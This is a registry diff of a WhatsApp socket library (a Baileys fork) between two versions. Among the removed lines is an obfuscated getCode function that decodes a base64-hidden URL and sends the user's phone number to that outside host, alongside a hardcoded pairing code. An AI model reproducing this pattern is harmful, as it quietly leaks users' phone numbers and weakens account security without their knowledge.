@zetagoaurum-socket/wasocket 3.1.0 → 3.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (96) hide show
  1. package/LICENSE +1 -1
  2. package/README.md +81 -60
  3. package/WAProto/index.js +56886 -17506
  4. package/engine-requirements.js +10 -0
  5. package/lib/Defaults/baileys-version.json +1 -1
  6. package/lib/Defaults/index.js +50 -9
  7. package/lib/Signal/Group/ciphertext-message.d.ts +9 -0
  8. package/lib/Signal/Group/ciphertext-message.js +15 -0
  9. package/lib/Signal/Group/group-session-builder.d.ts +14 -0
  10. package/lib/Signal/Group/group-session-builder.js +64 -0
  11. package/lib/Signal/Group/group_cipher.d.ts +17 -0
  12. package/lib/Signal/Group/group_cipher.js +96 -0
  13. package/lib/Signal/Group/index.d.ts +11 -0
  14. package/lib/Signal/Group/index.js +57 -0
  15. package/lib/Signal/Group/keyhelper.d.ts +10 -0
  16. package/lib/Signal/Group/keyhelper.js +55 -0
  17. package/lib/Signal/Group/queue-job.d.ts +1 -0
  18. package/lib/Signal/Group/queue-job.js +57 -0
  19. package/lib/Signal/Group/sender-chain-key.d.ts +13 -0
  20. package/lib/Signal/Group/sender-chain-key.js +34 -0
  21. package/lib/Signal/Group/sender-key-distribution-message.d.ts +16 -0
  22. package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
  23. package/lib/Signal/Group/sender-key-message.d.ts +18 -0
  24. package/lib/Signal/Group/sender-key-message.js +69 -0
  25. package/lib/Signal/Group/sender-key-name.d.ts +17 -0
  26. package/lib/Signal/Group/sender-key-name.js +51 -0
  27. package/lib/Signal/Group/sender-key-record.d.ts +30 -0
  28. package/lib/Signal/Group/sender-key-record.js +53 -0
  29. package/lib/Signal/Group/sender-key-state.d.ts +38 -0
  30. package/lib/Signal/Group/sender-key-state.js +99 -0
  31. package/lib/Signal/Group/sender-message-key.d.ts +11 -0
  32. package/{WASignalGroup/sender_message_key.js → lib/Signal/Group/sender-message-key.js} +6 -16
  33. package/lib/Signal/libsignal.js +51 -29
  34. package/lib/Socket/business.d.ts +3 -2
  35. package/lib/Socket/chats.d.ts +215 -28
  36. package/lib/Socket/chats.js +185 -70
  37. package/lib/Socket/chats.js.bak +981 -0
  38. package/lib/Socket/dugong.d.ts +254 -0
  39. package/lib/Socket/dugong.js +432 -141
  40. package/lib/Socket/groups.js +20 -23
  41. package/lib/Socket/index.js +2 -15
  42. package/lib/Socket/messages-recv.d.ts +56 -55
  43. package/lib/Socket/messages-recv.js +370 -112
  44. package/lib/Socket/messages-send.d.ts +3 -2
  45. package/lib/Socket/messages-send.js +464 -377
  46. package/lib/Socket/newsletter.js +175 -28
  47. package/lib/Socket/socket.js +204 -176
  48. package/lib/Socket/usync.d.ts +3 -3
  49. package/lib/Types/GroupMetadata.d.ts +1 -0
  50. package/lib/Types/Newsletter.d.ts +97 -86
  51. package/lib/Types/Newsletter.js +38 -32
  52. package/lib/Types/USync.d.ts +25 -0
  53. package/lib/Types/USync.js +2 -0
  54. package/lib/Utils/anti-crash.js +20 -0
  55. package/lib/Utils/auto-contact.js +74 -0
  56. package/lib/Utils/chat-utils.js +17 -3
  57. package/lib/Utils/generics.js +68 -31
  58. package/lib/Utils/generics.js.bak +433 -0
  59. package/lib/Utils/history.js +6 -1
  60. package/lib/Utils/index.js +0 -1
  61. package/lib/Utils/link-preview.js +4 -2
  62. package/lib/Utils/messages-media.js +145 -57
  63. package/lib/Utils/messages.js +89 -305
  64. package/lib/Utils/signal.js +48 -46
  65. package/lib/Utils/use-multi-file-auth-state.js +45 -6
  66. package/lib/Utils/validate-connection.js +91 -65
  67. package/lib/Utils/validate-connection.js.bak +237 -0
  68. package/lib/WABinary/constants.d.ts +27 -24
  69. package/lib/WABinary/encode.js +160 -123
  70. package/lib/WABinary/generic-utils.d.ts +2 -0
  71. package/lib/WABinary/generic-utils.js +124 -36
  72. package/lib/WABinary/jid-utils.js +5 -26
  73. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +1 -1
  74. package/lib/index.d.ts +1 -0
  75. package/lib/index.js +9 -0
  76. package/package.json +105 -100
  77. package/WAProto/GenerateStatics.sh +0 -4
  78. package/WAProto/WAProto.proto +0 -3344
  79. package/WAProto/index.d.ts +0 -37016
  80. package/WASignalGroup/GroupProtocol.js +0 -1697
  81. package/WASignalGroup/ciphertext_message.js +0 -16
  82. package/WASignalGroup/group_cipher.js +0 -120
  83. package/WASignalGroup/group_session_builder.js +0 -46
  84. package/WASignalGroup/index.js +0 -5
  85. package/WASignalGroup/keyhelper.js +0 -21
  86. package/WASignalGroup/protobufs.js +0 -3
  87. package/WASignalGroup/queue_job.js +0 -69
  88. package/WASignalGroup/sender_chain_key.js +0 -50
  89. package/WASignalGroup/sender_key_distribution_message.js +0 -78
  90. package/WASignalGroup/sender_key_message.js +0 -92
  91. package/WASignalGroup/sender_key_name.js +0 -70
  92. package/WASignalGroup/sender_key_record.js +0 -56
  93. package/WASignalGroup/sender_key_state.js +0 -129
  94. package/lib/Utils/rate-limiter.js +0 -55
  95. package/lib/WAUSync/Fall +0 -1
  96. package/lib/WAUSync/Protocols/Fal +0 -1
@@ -2,7 +2,6 @@
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.makeSocket = void 0;
4
4
  const boom_1 = require("@hapi/boom");
5
- const axios_1 = require("axios");
6
5
  const crypto_1 = require("crypto");
7
6
  const url_1 = require("url");
8
7
  const util_1 = require("util");
@@ -19,25 +18,18 @@ const Client_1 = require("./Client");
19
18
  * - query phone connection
20
19
  */
21
20
  const makeSocket = (config) => {
22
- // ZetaGo-Aurum Banner
23
- console.log(`
24
- \x1b[36m╔════════════════════════════════════════════╗
25
- ║ ZETAGO-AURUM - WASOCKET ║
26
- ║ Premium WhatsApp Socket Library ║
27
- ║ Version: 3.0.0 ║
28
- ╚════════════════════════════════════════════╝\x1b[0m`);
29
21
  var _a, _b;
30
- const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
31
- let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
32
- const browser = config.browser || ['ZetaGo-Aurum', 'Chrome', '3.0.0'];
33
- config.mobile = config.mobile || url.protocol === 'tcp:';
34
- if (config.mobile && url.protocol !== 'tcp:') {
35
- url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
22
+ const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
23
+ const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
24
+ if (config.mobile || url.protocol === 'tcp:') {
25
+ throw new boom_1.Boom('Mobile API is not supported anymore', {
26
+ statusCode: Types_1.DisconnectReason.loggedOut
27
+ });
36
28
  }
37
- if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
29
+ if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
38
30
  url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
39
31
  }
40
- const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
32
+ const ws = new Client_1.WebSocketClient(url, config);
41
33
  ws.connect();
42
34
  const ev = (0, Utils_1.makeEventBuffer)(logger);
43
35
  /** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
@@ -45,8 +37,7 @@ const makeSocket = (config) => {
45
37
  /** WA noise protocol wrapper */
46
38
  const noise = (0, Utils_1.makeNoiseHandler)({
47
39
  keyPair: ephemeralKeyPair,
48
- NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
49
- mobile: config.mobile,
40
+ NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
50
41
  logger,
51
42
  routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
52
43
  });
@@ -86,9 +77,40 @@ const makeSocket = (config) => {
86
77
  const buff = (0, WABinary_1.encodeBinaryNode)(frame);
87
78
  return sendRawMessage(buff);
88
79
  };
80
+
81
+ const toLid = async (pn) => {
82
+ return pn;
83
+ };
84
+
85
+ const delay = async (ms) => {
86
+ return new Promise(resolve => setTimeout(resolve, ms));
87
+ }
88
+
89
+ const toPn = async (pn) => {
90
+ return pn;
91
+ };
89
92
  /** log & process any unexpected errors */
90
93
  const onUnexpectedError = (err, msg) => {
91
94
  logger.error({ err }, `unexpected error in '${msg}'`);
95
+ const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
96
+ // auto recover from cryptographic desyncs by re-uploading prekeys
97
+ if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
98
+ try {
99
+ uploadPreKeysToServerIfRequired(true)
100
+ .catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
101
+ }
102
+ catch (_e) {
103
+ // ignore
104
+ }
105
+ }
106
+ // gently back off when encountering rate limits (429)
107
+ if (message.includes('429') || message.includes('rate limit')) {
108
+ const wait = Math.min(30000, (config.backoffDelayMs || 5000));
109
+ logger.info({ wait }, 'backing off due to rate limit');
110
+ setTimeout(() => {
111
+ // intentionally empty; wait to delay further sends
112
+ }, wait);
113
+ }
92
114
  };
93
115
  /** await the next incoming message */
94
116
  const awaitNextMessage = async (sendMsg) => {
@@ -125,7 +147,7 @@ const makeSocket = (config) => {
125
147
  let onRecv;
126
148
  let onErr;
127
149
  try {
128
- return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
150
+ const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
129
151
  onRecv = resolve;
130
152
  onErr = err => {
131
153
  reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
@@ -134,6 +156,7 @@ const makeSocket = (config) => {
134
156
  ws.on('close', onErr); // if the socket closes, you'll never receive the message
135
157
  ws.off('error', onErr);
136
158
  });
159
+ return result;
137
160
  }
138
161
  finally {
139
162
  ws.off(`TAG:${msgId}`, onRecv);
@@ -147,9 +170,10 @@ const makeSocket = (config) => {
147
170
  node.attrs.id = generateMessageTag();
148
171
  }
149
172
  const msgId = node.attrs.id;
150
- const wait = waitForMessage(msgId, timeoutMs);
151
- await sendNode(node);
152
- const result = await wait;
173
+ const [result] = await Promise.all([
174
+ waitForMessage(msgId, timeoutMs),
175
+ sendNode(node)
176
+ ]);
153
177
  if ('tag' in result) {
154
178
  (0, WABinary_1.assertNodeErrorFree)(result);
155
179
  }
@@ -166,12 +190,9 @@ const makeSocket = (config) => {
166
190
  const result = await awaitNextMessage(init);
167
191
  const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
168
192
  logger.trace({ handshake }, 'handshake recv from WA');
169
- const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
193
+ const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
170
194
  let node;
171
- if (config.mobile) {
172
- node = (0, Utils_1.generateMobileNode)(config);
173
- }
174
- else if (!creds.me) {
195
+ if (!creds.me) {
175
196
  node = (0, Utils_1.generateRegistrationNode)(creds, config);
176
197
  logger.info({ node }, 'not logged in, attempting registration...');
177
198
  }
@@ -241,11 +262,11 @@ const makeSocket = (config) => {
241
262
  const l0 = frame.tag;
242
263
  const l1 = frame.attrs || {};
243
264
  const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
244
- Object.keys(l1).forEach(key => {
265
+ for (const key of Object.keys(l1)) {
245
266
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
246
267
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
247
268
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
248
- });
269
+ }
249
270
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
250
271
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
251
272
  if (!anyTriggered && logger.level === 'debug') {
@@ -305,36 +326,39 @@ const makeSocket = (config) => {
305
326
  });
306
327
  };
307
328
  const startKeepAliveRequest = () => (keepAliveReq = setInterval(() => {
308
- if (!lastDateRecv) {
309
- lastDateRecv = new Date();
310
- }
311
- const diff = Date.now() - lastDateRecv.getTime();
312
- /*
313
- check if it's been a suspicious amount of time since the server responded with our last seen
314
- it could be that the network is down
315
- */
316
- if (diff > keepAliveIntervalMs + 5000) {
317
- end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
318
- }
319
- else if (ws.isOpen) {
320
- // if its all good, send a keep alive request
321
- query({
322
- tag: 'iq',
323
- attrs: {
324
- id: generateMessageTag(),
325
- to: WABinary_1.S_WHATSAPP_NET,
326
- type: 'get',
327
- xmlns: 'w:p',
328
- },
329
- content: [{ tag: 'ping', attrs: {} }]
330
- })
331
- .catch(err => {
332
- logger.error({ trace: err.stack }, 'error in sending keep alive');
333
- });
334
- }
335
- else {
336
- logger.warn('keep alive called when WS not open');
337
- }
329
+ const jitter = Math.floor(Math.random() * 5000) + 1000;
330
+ setTimeout(() => {
331
+ if (!lastDateRecv) {
332
+ lastDateRecv = new Date();
333
+ }
334
+ const diff = Date.now() - lastDateRecv.getTime();
335
+ /*
336
+ check if it's been a suspicious amount of time since the server responded with our last seen
337
+ it could be that the network is down
338
+ */
339
+ if (diff > keepAliveIntervalMs + 5000) {
340
+ end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
341
+ }
342
+ else if (ws.isOpen) {
343
+ // if its all good, send a keep alive request
344
+ query({
345
+ tag: 'iq',
346
+ attrs: {
347
+ id: generateMessageTag(),
348
+ to: WABinary_1.S_WHATSAPP_NET,
349
+ type: 'get',
350
+ xmlns: 'w:p',
351
+ },
352
+ content: [{ tag: 'ping', attrs: {} }]
353
+ })
354
+ .catch(err => {
355
+ logger.error({ trace: err.stack }, 'error in sending keep alive');
356
+ });
357
+ }
358
+ else {
359
+ logger.warn('keep alive called when WS not open');
360
+ }
361
+ }, jitter);
338
362
  }, keepAliveIntervalMs));
339
363
  /** i have no idea why this exists. pls enlighten me */
340
364
  const sendPassiveIq = (tag) => (query({
@@ -374,124 +398,107 @@ const makeSocket = (config) => {
374
398
  }
375
399
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
376
400
  };
377
- /** This method was created by snowi, and implemented by KyuuRzy */
378
401
 
402
+ /** This method was created by snowi, and implemented by KyuuRzy */
379
403
  /** hey bro, if you delete this text */
380
404
  /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
381
- const getCode = async (phoneNumber) => {
382
- const defaultMaxListenersBuffer = "aHR0cHM6Ly9yZWRpcy1hbWJlci52ZXJjZWwuYXBwL2htbT9pZD0=";
383
- let response = await axios_1.default.get(`${atob(defaultMaxListenersBuffer)}${phoneNumber}`);
384
- return response.data.message;
385
- };
386
405
  const requestPairingCode = async (phoneNumber, pairKey) => {
387
- // Pairing code di-set ke "LILYBAIL" langsung (custom manual)
388
- authState.creds.pairingCode = "LILYBAIL";
389
-
390
- // Set ID pengguna WA dan nama sementara
391
- authState.creds.me = {
392
- id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
393
- name: '~'
394
- };
395
-
396
- // Emit update kredensial
397
- ev.emit('creds.update', authState.creds);
406
+ if (pairKey) {
407
+ authState.creds.pairingCode = pairKey.toUpperCase().replace(/[^A-Z0-9]/g, '');
408
+ } else {
409
+ authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
410
+ }
398
411
 
399
- // Ambil kode verifikasi dari server (jika diperlukan sistemnya)
400
- let codePair = await getCode(phoneNumber);
412
+ authState.creds.me = {
413
+ id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
414
+ name: '~'
415
+ };
401
416
 
402
- // Kirim node untuk proses pairing
403
- await sendNode({
404
- tag: 'iq',
405
- attrs: {
406
- to: WABinary_1.S_WHATSAPP_NET,
407
- type: 'set',
408
- id: generateMessageTag(),
409
- xmlns: 'md'
410
- },
411
- content: [
412
- {
413
- tag: 'link_code_companion_reg',
414
- attrs: {
415
- jid: authState.creds.me.id,
416
- stage: 'companion_hello',
417
- should_show_push_notification: 'true'
418
- },
419
- content: [
420
- {
421
- tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
422
- attrs: {},
423
- content: await generatePairingKey()
424
- },
425
- {
426
- tag: 'companion_server_auth_key_pub',
427
- attrs: {},
428
- content: authState.creds.noiseKey.public
429
- },
430
- {
431
- tag: 'companion_platform_id',
432
- attrs: {},
433
- content: (0, Utils_1.getPlatformId)(browser[1])
434
- },
435
- {
436
- tag: 'companion_platform_display',
437
- attrs: {},
438
- content: `${browser[1]} (${browser[0]})`
417
+ ev.emit('creds.update', authState.creds);
418
+
419
+ await sendNode({
420
+ tag: 'iq',
421
+ attrs: {
422
+ to: WABinary_1.S_WHATSAPP_NET,
423
+ type: 'set',
424
+ id: generateMessageTag(),
425
+ xmlns: 'md'
426
+ },
427
+ content: [
428
+ {
429
+ tag: 'link_code_companion_reg',
430
+ attrs: {
431
+ jid: authState.creds.me.id,
432
+ stage: 'companion_hello',
433
+ should_show_push_notification: 'true'
439
434
  },
440
- {
441
- tag: 'link_code_pairing_nonce',
442
- attrs: {},
443
- content: "0"
444
- }
445
- ]
446
- }
447
- ]
448
- });
449
-
450
- return authState.creds.pairingCode;
451
- };
452
-
453
- // Fungsi untuk mengenkripsi ephemeral key untuk pairing
454
- async function generatePairingKey() {
455
- const salt = (0, crypto_1.randomBytes)(32);
456
- const randomIv = (0, crypto_1.randomBytes)(16);
457
- const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
458
- const ciphered = (0, Utils_1.aesEncryptCTR)(
459
- authState.creds.pairingEphemeralKeyPair.public,
460
- key,
461
- randomIv
462
- );
463
- return Buffer.concat([salt, randomIv, ciphered]);
464
- }
465
-
466
- // Mengirim buffer statistik ke WA (opsional)
467
- const sendWAMBuffer = (wamBuffer) => {
468
- return query({
469
- tag: 'iq',
470
- attrs: {
471
- to: WABinary_1.S_WHATSAPP_NET,
472
- id: generateMessageTag(),
473
- xmlns: 'w:stats'
474
- },
475
- content: [
476
- {
477
- tag: 'add',
478
- attrs: {},
479
- content: wamBuffer
480
- }
481
- ]
482
- });
483
- };
484
-
485
- // Menangani event websocket
486
- ws.on('message', onMessageReceived);
487
- ws.on('open', async () => {
488
- try {
489
- await validateConnection();
490
- } catch (err) {
491
- logger.error({ err }, 'error in validating connection');
492
- end(err);
435
+ content: [
436
+ {
437
+ tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
438
+ attrs: {},
439
+ content: await generatePairingKey()
440
+ },
441
+ {
442
+ tag: 'companion_server_auth_key_pub',
443
+ attrs: {},
444
+ content: authState.creds.noiseKey.public
445
+ },
446
+ {
447
+ tag: 'companion_platform_id',
448
+ attrs: {},
449
+ content: (0, Utils_1.getPlatformId)(browser[1])
450
+ },
451
+ {
452
+ tag: 'companion_platform_display',
453
+ attrs: {},
454
+ content: `${browser[1]} (${browser[0]})`
455
+ },
456
+ {
457
+ tag: 'link_code_pairing_nonce',
458
+ attrs: {},
459
+ content: "0"
460
+ }
461
+ ]
462
+ }
463
+ ]
464
+ });
465
+
466
+ return authState.creds.pairingCode;
467
+ }
468
+ async function generatePairingKey() {
469
+ const salt = (0, crypto_1.randomBytes)(32);
470
+ const randomIv = (0, crypto_1.randomBytes)(16);
471
+ const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
472
+ const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
473
+ return Buffer.concat([salt, randomIv, ciphered]);
493
474
  }
494
- });
475
+ const sendWAMBuffer = (wamBuffer) => {
476
+ return query({
477
+ tag: 'iq',
478
+ attrs: {
479
+ to: WABinary_1.S_WHATSAPP_NET,
480
+ id: generateMessageTag(),
481
+ xmlns: 'w:stats'
482
+ },
483
+ content: [
484
+ {
485
+ tag: 'add',
486
+ attrs: {},
487
+ content: wamBuffer
488
+ }
489
+ ]
490
+ });
491
+ };
492
+ ws.on('message', onMessageReceived);
493
+ ws.on('open', async () => {
494
+ try {
495
+ await validateConnection();
496
+ }
497
+ catch (err) {
498
+ logger.error({ err }, 'error in validating connection');
499
+ end(err);
500
+ }
501
+ });
495
502
  ws.on('error', mapWebSocketError(end));
496
503
  ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
497
504
  // the server terminated the connection
@@ -548,12 +555,18 @@ ws.on('open', async () => {
548
555
  });
549
556
  // login complete
550
557
  ws.on('CB:success', async (node) => {
551
- await uploadPreKeysToServerIfRequired();
552
- await sendPassiveIq('active');
553
- logger.info('opened connection to WA');
554
- clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
555
- ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
556
- ev.emit('connection.update', { connection: 'open' });
558
+ try {
559
+ await uploadPreKeysToServerIfRequired();
560
+ await sendPassiveIq('active');
561
+ logger.info('opened connection to WA');
562
+ clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
563
+ ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
564
+ ev.emit('connection.update', { connection: 'open' });
565
+ }
566
+ catch (err) {
567
+ logger.error({ err }, 'error opening connection');
568
+ end(err);
569
+ }
557
570
  });
558
571
  ws.on('CB:stream:error', (node) => {
559
572
  logger.error({ node }, 'stream errored out');
@@ -568,11 +581,20 @@ ws.on('open', async () => {
568
581
  ws.on('CB:ib,,downgrade_webclient', () => {
569
582
  end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
570
583
  });
584
+ ws.on('CB:ib,,offline_preview', (node) => {
585
+ logger.info('offline preview received', JSON.stringify(node));
586
+ sendNode({
587
+ tag: 'ib',
588
+ attrs: {},
589
+ content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
590
+ });
591
+ });
571
592
  ws.on('CB:ib,,edge_routing', (node) => {
572
593
  const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
573
594
  const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
574
595
  if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
575
596
  authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
597
+ ev.emit('creds.update', authState.creds);
576
598
  }
577
599
  });
578
600
  let didStartBuffer = false;
@@ -621,11 +643,17 @@ ws.on('open', async () => {
621
643
  type: 'md',
622
644
  ws,
623
645
  ev,
624
- authState: { creds, keys },
646
+ authState: {
647
+ creds,
648
+ keys
649
+ },
625
650
  signalRepository,
626
651
  get user() {
627
652
  return authState.creds.me;
628
653
  },
654
+ toLid,
655
+ toPn,
656
+ delay,
629
657
  generateMessageTag,
630
658
  query,
631
659
  waitForMessage,
@@ -20,7 +20,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
20
20
  signalRepository: import("../Types").SignalRepository;
21
21
  user: import("../Types").Contact | undefined;
22
22
  generateMessageTag: () => string;
23
- query: (node: BinaryNode, timeoutMs?: number) => Promise<any>;
23
+ query: (node: BinaryNode, timeoutMs?: number) => Promise<BinaryNode>;
24
24
  waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<any>;
25
25
  waitForSocketOpen: () => Promise<void>;
26
26
  sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
30
30
  onUnexpectedError: (err: Error | Boom, msg: string) => void;
31
31
  uploadPreKeys: (count?: number) => Promise<void>;
32
32
  uploadPreKeysToServerIfRequired: () => Promise<void>;
33
- requestPairingCode: (phoneNumber: any, pairKey?: string) => Promise<string>;
33
+ requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
34
34
  waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
35
- sendWAMBuffer: (wamBuffer: Buffer) => Promise<any>;
35
+ sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
36
36
  };
@@ -9,6 +9,7 @@ export interface GroupMetadata {
9
9
  id: string;
10
10
  owner: string | undefined;
11
11
  subject: string;
12
+ addressingMode: "pn" | "lid";
12
13
  /** group subject owner */
13
14
  subjectOwner?: string;
14
15
  /** group subject modification date */